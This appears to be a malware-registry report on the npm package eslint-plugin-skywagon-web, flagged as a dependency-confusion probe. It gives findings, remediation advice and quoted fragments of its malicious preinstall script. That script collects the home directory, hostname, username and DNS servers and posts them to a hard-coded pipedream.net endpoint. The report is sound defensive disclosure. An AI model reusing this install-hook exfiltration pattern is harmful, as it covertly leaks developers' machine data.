registry / Data exfiltration / eslint-plugin-skywagon-web

eslint-plugin-skywagon-web

This report shows the evidence for eslint-plugin-skywagon-web@100.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The package contains an automatic preinstall hook that collects local host metadata and transmits it to a hard-coded third-party endpoint. This is concrete install-time data exfiltration.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package triggers its preinstall hook.

Impact

Installation exposes host-identifying and local environment metadata to an unrelated remote endpoint.

Mechanism

index.js serializes local system and package information, then sends it in an HTTPS POST request.

Attack narrative

On package installation, npm invokes index.js through preinstall. The script gathers the home-directory path, hostname, account name, DNS server configuration, and package metadata. It URL-encodes that data and posts it to a hard-coded Pipedream host, then suppresses request errors. This is unsolicited install-time data exfiltration.

AI rationale

The package contains an automatic preinstall hook that collects local host metadata and transmits it to a hard-coded third-party endpoint. This is concrete install-time data exfiltration.

Evidence

package.jsonindex.js

Network endpoints1

eo1blcdjptwydyq.m.pipedream.net

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs index.js automatically during preinstall.
The install script collects the user home directory, hostname, username, DNS servers, and package metadata.
It posts the collected data to a hard-coded Pipedream endpoint.
The request body is transmitted and ended by the script.

Evidence against

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.05 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "node index.js" }, "keywords": [], "

High

Ai Review Evidence

The package runs index.js automatically during preinstall.

package.jsonView on unpkg · L8

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const querystring = require("querystring"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const package = packageJSON.name; ... L9: p: package, L10: c: __dirname, L11: hd: os.homedir(), L12: hn: os.hostname(), L13: un: os.userInfo().username, ... L36: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ var postData = querystring.stringify({ method: "POST", "Content-Length": postData.length, var req = https.request(options, (res) => { process.stdout.write(d); req.write(postData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @avigilon/node-webrtc@2.1.4 matchedPath = index.js matchedIdentity = npm:QGF2aWdpbG9uL25vZGUtd2VicnRj:2.1.4 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

8const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefin

High

Ai Review Evidence

The install script collects the user home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

24var options = { hostname: "eo1blcdjptwydyq.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Le

High

Ai Review Evidence

It posts the collected data to a hard-coded Pipedream endpoint.

index.jsView on unpkg · L24

41req.on("error", (e) => { // console.error(e); }); req.write(postData); req.end();

High

Ai Review Evidence

The request body is transmitted and ended by the script.

index.jsView on unpkg · L41

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "node index.js" }, "keywords": [], "

High

Ai Review Evidence

The package runs index.js automatically during preinstall.

package.jsonView on unpkg · L8

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

Findings

8 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

Affected versions and remediation

This report applies to eslint-plugin-skywagon-web@100.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing eslint-plugin-skywagon-web@100.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-28 15:30:07.404Z (UTC).

Source advisory published: 2026-09-28 15:05:36.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

100.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 26, 2026, 6:58 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code